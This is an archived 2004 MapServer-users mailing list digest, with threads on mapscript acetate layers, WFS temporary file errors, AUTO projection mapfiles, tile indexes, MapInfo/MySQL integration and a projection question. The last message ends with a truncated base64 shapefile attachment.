> Do I remember correctly that you are using mod_python?  Is this a reason
> why you say that you cannot predefine your acetate layer?  I hope you
> are
> not trying to persist a mapObj in the same way that mod_python users use
> persistent database connections.  MapServer is not fully thread-safe
> (yet)
> and so you will certainly encounter some trouble with a persistent
> mapObj.
>
> I don't see _anything_ in your code that would prevent the acetate layer
> from being predefined in your map file.  If it is only a matter of
> colors and styles, I strongly recommend that you predefine the acetate
> layer and then modify its classes and styles during the script
> execution.
>
> cheers,
> Sean
>
> --
> Sean Gillies
> sgillies at frii dot com
> http://users.frii.com/sgillies



From sgillies at frii.com  Tue Jan 13 15:35:56 2004
From: sgillies at frii.com (Sean Gillies)
Date: Tue, 13 Jan 2004 16:35:56 -0700
Subject: [Mapserver-users] mapscript - strange behavior
In-Reply-To: <200401131730.31405.spoerri@duke.edu>
References: <4004203E.6030406@libero.it> <200401131238.52884.spoerri@duke.edu>  <200401131730.31405.spoerri@duke.edu>
Message-ID: <3C065532-4621-11D8-A887-000393B98B56@frii.com>

Christoph,

I don't see anything obviously wrong with your script.  I haven't been
testing your particular use case.  I will try to make the time to add
new tests to mapscript/python/tests/testMapScript.py and see if there
is a bug.

cheers,
Sean

On Jan 13, 2004, at 3:30 PM, Christoph Spoerri wrote:

> Yes, I'm using mod_python but don't use a persistent mapObj (I assume 
> you mean
> storing the object as session variable). I tried it, but it lead only 
> to seg.
> faults.
>
> The reason for not using a predefined acetate layers is how my app is 
> coded. I
> didn't want to change things around, and since the problem looks like 
> a bug,
> and I was wondering if there's a solution. Also, I wasn't sure if I'm 
> doing
> something wrong.
>
> Christoph
>



From spencer at dmsolutions.ca  Tue Jan 13 18:12:02 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Tue, 13 Jan 2004 21:12:02 -0500
Subject: [Mapserver-users] Re: PHP MapScript
In-Reply-To: <159EE492F7DD4A49BD57168D23D65956AC529D@fs01.houstonengineeringinc.com>
References: <159EE492F7DD4A49BD57168D23D65956AC529D@fs01.houstonengineeringinc.com>
Message-ID: <4004A572.6050709@magma.ca>

Brian,

you had probably given up hope, but I left your email in my inbox and 
have finally done something about it :)

you can download the package from

http://www2.dmsolutions.ca/netbin/phpms_workshop.zip

The presentation was developed using pres2 which is a php presentation 
system, it is somewhat tricky to get working and I haven't had time to 
set it up again.  When I do, I will export the presentation as a PDF or 
something.

But all the code and stuff is there.

Cheers,

Paul

Brian Fischer wrote:

> Paul, I was wondering if you have had a chance to find the materials
> from the workshop.  I was just getting back to you, as you requested in
> your email.
> 
> Thanks,
> Brian
> 
> Brian Fischer
> Houston Engineering, Inc.
> Maple Grove, MN
> (763) 493-4522
> -----Original Message-----
> From: Paul Spencer [mailto:pagameba at magma.ca] 
> Sent: Tuesday, October 07, 2003 11:21 AM
> To: Brian Fischer
> Subject: Re: PHP MapScript
> 
> Brian, my sincere appologies ... I have neglected this task for some 
> time.  Unfortunately, I recently had my laptop stolen, I am not sure 
> where the files are right now.  Please email me again in a few days if I
> 
> don't get back to you.
> 
> Cheers,
> 
> Paul
> 
> Brian Fischer wrote:
> 
>>Hi Paul,
>>
>> 
>>
>>I was wondering if you have any documents from the PHP Mapscript 
>>workshop you gave at the MapServer Users meeting in June.  I keep 
>>checking the website but nothing is up there from that workshop.  I
> 
> want 
> 
>>to start learning MapScript and I am looking for all the reference 
>>guides I can find.  If you have any guides or examples from that 
>>workshop, could you send them to me?  I already have everything off
> 
> the 
> 
>>websites that pertains to MapScript.  I guess I am mainly looking for 
>>code examples that I can work through.
>>
>> 
>>
>>I don't know if you remember me, but I was one of the guys that golfed
> 
> 
>>in Steve Lime's group.
>>
>> 
>>
>>Thanks,
>>
>>Brian
>>
>> 
>>
>>Brian Fischer
>>
>>Houston Engineering, Inc.
>>
>>10900 73rd Ave N, Suite 106
>>
>>Maple Grove, MN 55369
>>
>>ph: (763) 493-4522
>>
>>fax: (763) 493-5572
>>
>>Email: bfischer at houstonengineeringinc.com 
>>
>>
>>Website: www.houstonengineeringinc.com 
>>
>>
>> 
>>
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From morissette at dmsolutions.ca  Tue Jan 13 19:51:59 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Tue, 13 Jan 2004 22:51:59 -0500
Subject: [Mapserver-users] WFS client tempor	ary files
In-Reply-To: 
References: 
Message-ID: <4004BCDF.60109@dmsolutions.ca>

Hatcher Matthew wrote:
> 
> The actual error is:
> msHTTPExecuteRequests(): HTTP request error. Can't open output file
> c:\Program Files\Apache
> Group\Apache2\htdocs\tmp\\http___localhost_path_to_wfs_servlet_CONFIG_config
> uration.cfg_SERVICE_WFS_VERSION_1_0_0_TYPENAME_geographic_global_rivers_REQU
> EST_GetFeature_BBOX__73_955808__1_637206_47_955808_79_637206.tmp.gml
> 
> Now, this error only occurs with a long url (i.e. the /localhost/path_to_wfs
> bit which is rather long) - if I shorten this then I don't get the error.
> This seems to be a MapServer thing, rather than a browser thing.
> 

Your analysis was correct that the WFS uses the URL as the base for the 
temporary filename of the GML data file.  This was only in MS 4.0 and 
has changed in MS 4.1, so I would suggest that you try version 4.1 (from 
CVS source or nightly build) if you can.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------




From v0463 at n-koei.co.jp  Tue Jan 13 20:27:25 2004
From: v0463 at n-koei.co.jp (Le Ngoc Lam)
Date: Wed, 14 Jan 2004 11:27:25 +0700
Subject: [Mapserver-users] Shape file and AUTO projection problems
References: 
Message-ID: <001901c3da56$b6b7fe60$dca110ac@lamle>

I guess its projection is wrong.
Try modification below.
Regards,

Lam
---------


EXTENT -180.0 -90.0 180.0 90.0
  IMAGECOLOR 255 255 255

  IMAGETYPE GIF

  PROJECTION
#    "init=epsg:4318"
  "init=epsg:4326"

  END

  WEB
    IMAGEPATH '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/'
    IMAGEURL '/htdocs/tmp/'
    LOG '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/log'

    METADATA
        "wms_srs"                   "EPSG:4318 AUTO:42003 AUTO:42001
AUTO:42002 AUTO:42004   AUTO:42008"
    END

  END


  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER # country polygon layer begins here
    NAME Country
    DATA "/scratch/jcable/shape_files/country"
    STATUS DEFAULT
    TYPE LINE

    PROJECTION
#      "init=epsg:4318"
  "init=epsg:4326"

    END

    CLASS
      #COLOR 232 0 0
      OUTLINECOLOR 232 0 0
    END
  END # country polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------

END # end of map file/object



----- Original Message -----
From: "Jay Cable" 
To: 
Sent: Wednesday, January 14, 2004 3:15 AM
Subject: [Mapserver-users] Shape file and AUTO projection problems


>
> Hello,
> I am having problems using shapefiles and the AUTO:42003 projection.  When
> displaying views of data the encompass the entire earth, mapserver appears
> to draw a lot of extra lines to the origin.
>
> Here is a sample image with this problem:
> http://oldlady.gina.alaska.edu/~jcable/broken.gif
>
> The problem appears to go away when the area displayed is reduced:
> http://oldlady.gina.alaska.edu/~jcable/working.gif
>
>
> I believe the shapefiles are correct, as they are sample shape files
> provided by ERSI.  I have also tried other shapefiles and encountered the
> same problem.
>
> The problem does not appear to occur with other projections I tried.
>
> Any suggestions as to how I can get around or fix this?  Am I doing
> something wrong?  I tried adjusting the extent with no effect.
>
> I am using mapserver 4.0, but also tried the latest 4.0.1, and it does the
> same thing.
>
> Thanks in advance,
>   -Jay Cable
>   jcable at gi.alaska.edu
>
> -----------------------------------------------------------------------
>
> Here is what my map file looks like:
>
>   EXTENT -180.0 -90.0 180.0 90.0
>   IMAGECOLOR 255 255 255
>
>   IMAGETYPE GIF
>
>   PROJECTION
>     "init=epsg:4318"
>   END
>
>   WEB
>     IMAGEPATH '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/'
>     IMAGEURL '/htdocs/tmp/'
>     LOG '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/log'
>
>     METADATA
>         "wms_srs"                   "EPSG:4318 AUTO:42003 AUTO:42001
AUTO:42002 AUTO:42004   AUTO:42008"
>     END
>
>   END
>
>
>   # Start of LAYER DEFINITIONS
> ---------------------------------------------
>   LAYER # country polygon layer begins here
>     NAME Country
>     DATA "/scratch/jcable/shape_files/country"
>     STATUS DEFAULT
>     TYPE LINE
>
>     PROJECTION
>       "init=epsg:4318"
>     END
>
>     CLASS
>       #COLOR 232 0 0
>       OUTLINECOLOR 232 0 0
>     END
>   END # country polygon layer ends here
>   # End of LAYER DEFINITIONS -------------------------------
>
> END # end of map file/object
>
>
>
>
> ****************************************************************
> Jay Cable                                GINA/ION
> tel (907) 474-1856                       Geophysical Institute
> jcable at gi.alaska.edu                     University of Alaska
>                             P.O. Box 757320
>                                          Fairbanks, AK 99775-7320
> *****************************************************************
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From flavio at tydac.ch  Tue Jan 13 22:49:10 2004
From: flavio at tydac.ch (Flavio Hendry)
Date: Wed, 14 Jan 2004 07:49:10 +0100
Subject: [Mapserver-users] Dataset with 120'000 tiles
Message-ID: 

hi list

anybody worked with such a dataset (120'000 raster tiles) ? 
are there any performance issues ?

thx.

Mit freundlichem Gruss / Best Regards
Flavio Hendry

----------------------------------------------------------------
++++++++++ Neue Neapoljs Seiten auf www.neapoljs.com +++++++++++
----------------------------------------------------------------
############      Mit freundlichen Gruessen / Best Regards
############       Flavio Hendry- mailto:flavio at tydac.ch
############         TYDAC AG - http://www.tydac.ch
####    ####        Geographic Information Solutions
####    ####         Luternauweg 12 -- CH-3006 Bern
############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
----------------------------------------------------------------



From mweinelt at planiglobe.com  Wed Jan 14 00:44:28 2004
From: mweinelt at planiglobe.com (Martin Weinelt)
Date: Wed, 14 Jan 2004 09:44:28 +0100
Subject: [Mapserver-users] help with tile index of vector files
In-Reply-To: <01cb01c3d938$68275530$6c000a0a@sclark>
References:  <01cb01c3d938$68275530$6c000a0a@sclark>
Message-ID: <200401140944.28528.mweinelt@planiglobe.com>

On Monday 12 January 2004 19:17, Stephen Clark wrote:
> Hi all,
>
> I have several SHP files that I plan on merging to one individual SHP file.

That does not sound like tiling to me

> Is there an index application that will create some sort of fast tiling
> trick like the "tile4ms.exe" does with individual SHP files to create a
> tiled SHP file.

tile4ms does not actually tile a shapefile (at least not my version). Once you 
have tiles, tile4ms creates the tileindex shapefile.

To actuallly tile a big shapefile into several (rectangular) tiles, use the 
the avenue script by Chip Hankley 
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VectorTileIndex)  
or take a look at a similar Perl script 
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?InterPol

Cheers, Martin

> thanks
> Stephen
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From Roland at cyber-media.co.uk  Wed Jan 14 02:27:24 2004
From: Roland at cyber-media.co.uk (Roland Corbet)
Date: Wed, 14 Jan 2004 10:27:24 -0000
Subject: [Mapserver-users] MapInfo to Mapserver with additional data from MySQL
Message-ID: <0E2E03F75CEFD61195A200B0D07841911875D3@dns.cyber-media.co.uk>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3DA89.001AD8C0
Content-Type: text/plain

I am new to the GIS/Mapping field and am researching solutions for a project
that requires a map-based navigation system to display UK Ordnance Survey
(OS) grid points on top of maps that originate from MapInfo.

I downloaded and installed Mapserver with PHP/Mapscript and was impressed by
the demo set-ups.

>From what I have read so far, my instinct is that the solution we need is
achievable using Mapserver.  However, before I spend time in getting to know
Mapserver and Mapscript in detail, could someone tell me if what I am aiming
to achieve is possible with the combination of technology that we have
below, please?

Technology Available:

1. MySQL 4.0 (Containing OS Grid points for locations that need to be
plotted).
2. MapInfo  (Contains the map with several different boundary types defined
- forests, parishes, counties etc.)  The maps are at two scales (1:25,000
and 1:10,000).
3. Mapserver/Mapscript/PHP
4. PHP (latest version)
5. Apache running on Red Hat Linux 7.2


System to be developed:

1. We need to be able to take the maps from MapInfo and get them into a
format that can be handled by Mapserver.  Is this possible, and if so, what
is the best way to do it?

2. We need to be able to plot OS Grid Points stored in the MySQL database
onto the maps when they are produced in MapServer.  (Is it possible to do
this, or does map server only display data from the MapInfo export?)

3. The user of the web application will then be able to browse the map and
click on a point that has been plotted against an OSGR and be taken to the
full details of that location.


Will it be possible to achieve the required solution with the technology
available?  If so, any advice/tips/tutorials to assist with achieving the
solution would be greatly appreciated.

Thank you in anticipation of your time and help.

Kind regards,

Roland

------_=_NextPart_001_01C3DA89.001AD8C0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






MapInfo to Mapserver with additional data from MySQL




I am new to the GIS/Mapping field and am researching =
solutions for a project that requires a map-based navigation system to =
display UK Ordnance Survey (OS) grid points on top of maps that =
originate from MapInfo.



I downloaded and installed Mapserver with =
PHP/Mapscript and was impressed by the demo set-ups.




From what I have read so far, my instinct is that the =
solution we need is achievable using Mapserver.  However, before I =
spend time in getting to know Mapserver and Mapscript in detail, could =
someone tell me if what I am aiming to achieve is possible with the =
combination of technology that we have below, please?



Technology Available:




1. MySQL 4.0 (Containing OS Grid points for locations =
that need to be plotted).

2. MapInfo  (Contains the map with several =
different boundary types defined - forests, parishes, counties =
etc.)  The maps are at two scales (1:25,000 and =
1:10,000).



3. Mapserver/Mapscript/PHP

4. PHP (latest version)

5. Apache running on Red Hat Linux 7.2






System to be developed:




1. We need to be able to take the maps from MapInfo =
and get them into a format that can be handled by Mapserver.  Is =
this possible, and if so, what is the best way to do it?



2. We need to be able to plot OS Grid Points stored =
in the MySQL database onto the maps when they are produced in =
MapServer.  (Is it possible to do this, or does map server only =
display data from the MapInfo export?)



3. The user of the web application will then be able =
to browse the map and click on a point that has been plotted against an =
OSGR and be taken to the full details of that location.





Will it be possible to achieve the required solution =
with the technology available?  If so, any advice/tips/tutorials =
to assist with achieving the solution would be greatly =
appreciated.



Thank you in anticipation of your time and =
help.




Kind regards,




Roland





------_=_NextPart_001_01C3DA89.001AD8C0--


From opengis at libero.it  Wed Jan 14 02:39:12 2004
From: opengis at libero.it (opengis_libero)
Date: Wed, 14 Jan 2004 11:39:12 +0100
Subject: [Mapserver-users] Projection trouble
In-Reply-To: <006f01c3da00$ef176990$6c000a0a@sclark>
References: <4004203E.6030406@libero.it> <006f01c3da00$ef176990$6c000a0a@sclark>
Message-ID: <40051C50.8060404@libero.it>

This is a multi-part message in MIME format.
--------------040506040608060007010800
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Stephen,

>TRY
>
>  METADATA
>    WMS_TITLE "Your title "
>    WMS_SRS "EPSG:26932"
>  END
>
>in your layer
>  
>
Your suggest doesn't work fine: I've always blank map.

In attachement you can find shape file (like TeleAtlas data -- Polygon 
of County or Parish) with *.prj file.

Does  anyone can help me to use this shape with mapserver?

My environment:
win2000
Apache
MapServer version 3.6.3 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP 
SUPPORTS=PROJ
SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=EPPL7 
INPUT=POSTGIS
INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

c:\proj

Secondary question:
How can test if my Proj4 work fine?



--------------040506040608060007010800
Content-Type: application/x-zip-compressed;
 name="data.zip"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="data.zip"

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
